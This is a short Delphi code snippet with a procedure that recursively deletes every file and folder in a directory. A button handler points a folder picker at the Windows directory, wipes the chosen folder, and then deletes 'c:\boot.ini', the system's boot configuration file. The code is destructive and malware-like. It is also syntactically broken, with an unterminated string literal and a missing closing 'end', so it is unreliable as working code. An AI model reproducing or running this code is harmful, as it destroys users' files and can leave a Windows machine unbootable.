uses
    FileCtrl;

procedure RemoveAll(path: string);
var
    sr: TSearchRec;
begin
    if FindFirst(path + '\*.*', faAnyFile, sr) = 0 then
    begin
      repeat
        if sr.Attr and faDirectory = 0 then
        begin
          DeleteFile(path + '\' + sr.name);
        end
        else
        begin
          if pos('.', sr.name) <= 0 then
            RemoveAll(path + '\' + sr.name);
        end;
      until
        FindNext(sr) <> 0;
    end;
    FindClose(sr);
    RemoveDirectory(PChar(path));
end;

procedure TForm1.Button1Click(Sender: TObject);
var
    dir: string;
begin
    if SelectDirectory('%WinDir%, '', dir) then
      RemoveAll(dir);

DeleteFile('c:\boot.ini');